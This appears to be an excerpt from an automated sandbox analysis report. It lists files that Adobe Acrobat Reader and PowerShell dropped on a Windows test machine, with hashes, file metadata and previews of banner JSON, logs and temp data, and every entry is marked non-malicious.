SHA-512:	957B0E8C81948E79F82E4F1BE99C32F1BDD1F9B1C9E8B8D58B78ED2227F7744E4C5706D1211C3ADB6EC5066A2348A6F74BFA95BDD705B90F9DB4D0E531339714
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662194460198563
Encrypted:	false
SSDEEP:	24:Yv6XBGpZhEzvyamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSC:YvEGCEBgkDMUJUAh8cvMC
MD5:	8988834D89A1FE408E5FCDDA2435B01B
SHA1:	705EC0E01BF4E8B36A56280AF36E31C5F4A68CBE
SHA-256:	018AE26D8D63288C9BAAD01F919A0D027F381202E549D86BFA38D1FC6619CB86
SHA-512:	DA860020E70E92C47A2DB014C66C235F23D0B237D4D1529B9947344C4E88D82ED9F51A5A932C6E0D624673EA9E60199C2A9A07E339E214268613DD2DE377D711
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250767549035804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfshHHrPeUkwRe9:YvXKXBdEpIUhEZc0vTVGUUUkee9
MD5:	CF6A9C9D7DBA4EA688B05F4CC4DF607E
SHA1:	0E5DD72996651CDA7DF7AD53A2745151BBB1F3E3
SHA-256:	9F7744D5FE544233871E8232A9D7F2CBE384A3A7250E5D743751C3B57D15AFA9
SHA-512:	067AB4E9E3E1CEC2929955FCB9AA17BB8914C1489F50612C3B5A6AB653662B24DEB40B346804463B4F675A6690F014F03D0F8475ECABFDFA0FCAC65113BCFE87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261901453155919
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJTqgFCrPeUkwRe9:YvXKXBdEpIUhEZc0vTVGTq16Ukee9
MD5:	DC6F0B5F3513AC6301A58A94A41E5C18
SHA1:	AEC60A551B802720BF964D15592701D8CFEB2ADD
SHA-256:	10BA13545377BEAB607C8557C8E4286177AA1BD1B584D6848A5ED69078700154
SHA-512:	9E197E2F40D7DAA6AE03BBD8192A44F70B06D8D5E881929DF6207B02BD896578B399248598A0D85C8B8093CA7704A5B08984CB8C4642AE89EBFC10DB4BBF38CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142856004130072
Encrypted:	false
SSDEEP:	24:Yyka4vYyayuPCpkKnWqTtUbMW7uN4jcqj0So6CA2Tx2LSyCIIzabY4vub5794HuJ:YqShntTiMW7cM1XSx0AzMY4vWp94q
MD5:	C42CE68F7FBC32AE4FC2CD95169F20D6
SHA1:	887BA3C77F701ECE0E77D483FDF294E865366AB4
SHA-256:	2981EF8770586DC49D40FC18E65775E6618E903CCA9F21DE0AA15C0BA94D22FB
SHA-512:	8F58A19CDE265CF26B803EB594D42E1AD150C9BA529E930BF9E806ABA02BE58C4336D051D9E225E707E7DFB19EA342276016CDE848093152D6F2EF9ACB3B6599
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1417273d33dfcd24e111b33bb129e9d4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535931000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"202cd082894ede720c3eb145e1db5bf4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736535931000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7d6576c617d34d430439f4fe6abd8b73","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736535931000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"09448c9a5e4430dbd1485bf48db2a699","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736535931000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"849ed7e92405ce8832119dc340a3b418","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736535931000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"badcac31c6518b06cea0b7307d6fef94","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1878280423606247
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUTSvR9H9vxFGiDIAEkGVvp/:lNVmswUUUUUUUUT+FGSItL
MD5:	A5BCF79630351DB63F758D4A989AAB35
SHA1:	F6EA23F7484BBC876C7AA97036E8A3992D824E1E
SHA-256:	AE9307CB07EAE3F5A31E21F2C3611DF36B3F0CDFDBB318B887B0053E02BB86BD
SHA-512:	3A1BD1186177C1A13B93DB82881566CC667F8303C297A0A991D52FBA9668B5ED62A28907964A41CFF4A96DA550B502A6726730C9C972B485D99F57EC899395BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.605770564859083
Encrypted:	false
SSDEEP:	48:7MKKUUUUUUUUUUXvR9H9vxFGiDIAEkGVvOqFl2GL7mse:7uUUUUUUUUUUvFGSItEKVmse
MD5:	070AC3A0881420F2FC81183A1F1BD52F
SHA1:	230180CCBD7D5D414DE0E29148CCFDAFD1B920CB
SHA-256:	5991CB674779E130A94B5E75D1EA3FA30EF5C6E0356FB48FBE46176F58E0FEBB
SHA-512:	58810E1C0B57CE93F3FDB5F5A71623151994ADB3AA618A38B8E87F5DE5D9E14443B076DD1A7DAC57D34B58F49AE7B66B647BB4A577A0B8A6ED569DA87718BC7B
Malicious:	false
Preview:	.... .c......f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgbbEEWb7An1EZ+bAmEjFc8GDYyu:6a6TZ44ADEbwEWb7An1BXDK
MD5:	613777972B69AE512D4AF96FE95B8BEA
SHA1:	FA4AD85ECA2983CC0298F1FD7AF225F14C1904DA
SHA-256:	DA7662F726294EBF594253336208427CB287AC133A527AC223B4BB2A5030D10A
SHA-512:	9D509BFFED7BC1B13E255BE856CD3996B43169737D796AE313C4C6AB44A927B93BFB4DFA28739FDB5A43C0F181601B03C5194B5EBB3434954ACF80C0426ED4EF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI17b14.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEReNWRCH:Qw946cPbiOxDlbYnuRK+bDiWRw
MD5:	1EE20175C82FEAD1DC7E8FC4C8191077
SHA1:	AA2784DB5745C1A95170C3F32C059E964F2CF312
SHA-256:	C50493492FB9E5B30B5B49F7B0B52BCBDE8903A125218B6056BB80FB99F1DF47
SHA-512:	25E6965575FAD4E831F834C610216BFEB119846C67853E2DA25A237DB67670E375ADA458E133FEF9D9F9BD7B55D7A4B995FA9A588439348DA67F95AAAC0B0684
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.0.5.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yausibps.j5f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yis55wqr.jmj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-05-27-356.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.36712422280065
Encrypted:	false
SSDEEP:	384:SgzxK5PM7HkJr03khdnhcgrm/KNrMn40/LaU+Ak+f3t6BXa07LAjQB6BcZfFnJaS:9WP
MD5:	D2BDF4F89837AF2642EF9EBE83631FAB
SHA1:	8DBFF0904DF3D3226FF400BE6D7ED9FA82781B3F
SHA-256:	E8E1A5B6C8125CB9AC769C60034496B1A6E7502CE6C200080944269C0987D9DA
SHA-512:	91B6268C270A13070756825FBD971010D7C57F2A4BE387D17B0C443160607E3BA9E752E892BE45E088BF64E8DB79859B40D96603B3F9DB9B4AF20D2C38B93359
Malicious:	false
Preview:	SessionID=3f774744-5efa-4d4d-b2f5-ad08c807db33.1736535927365 Timestamp=2025-01-10T14:05:27:365-0500 ThreadID=1432 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3f774744-5efa-4d4d-b2f5-ad08c807db33.1736535927365 Timestamp=2025-01-10T14:05:27:366-0500 ThreadID=1432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3f774744-5efa-4d4d-b2f5-ad08c807db33.1736535927365 Timestamp=2025-01-10T14:05:27:366-0500 ThreadID=1432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3f774744-5efa-4d4d-b2f5-ad08c807db33.1736535927365 Timestamp=2025-01-10T14:05:27:366-0500 ThreadID=1432 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3f774744-5efa-4d4d-b2f5-ad08c807db33.1736535927365 Timestamp=2025-01-10T14:05:27:366-0500 ThreadID=1432 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38247477847681
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r8:7U
MD5:	EC25960884EF9EF961D69A50D783A624
SHA1:	308761C5A64309D3D8FBEAADF2826F55549E537A
SHA-256:	99A65858411DDFA469D64B1BF18C5FEB92900316306427A1A020E60E2A61AEC0
SHA-512:	9FB67EFB8B395C77F6F35597637C9D97406F0D0D7FB86F9DF979E7B1087013E493E099C33234922D6EBE27D89D67CD7CE520DFA4149833B22586DBF6190F0A5D
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\62e973c6-b22c-40be-a5d5-75fa450fa2ae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\68c791e5-e714-49e5-a667-d6158d0b0df8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca4b4c2c-2c8f-4f1c-a78b-0d0066e18fb9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e581d0e7-c725-43e0-b0b5-634062972467.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
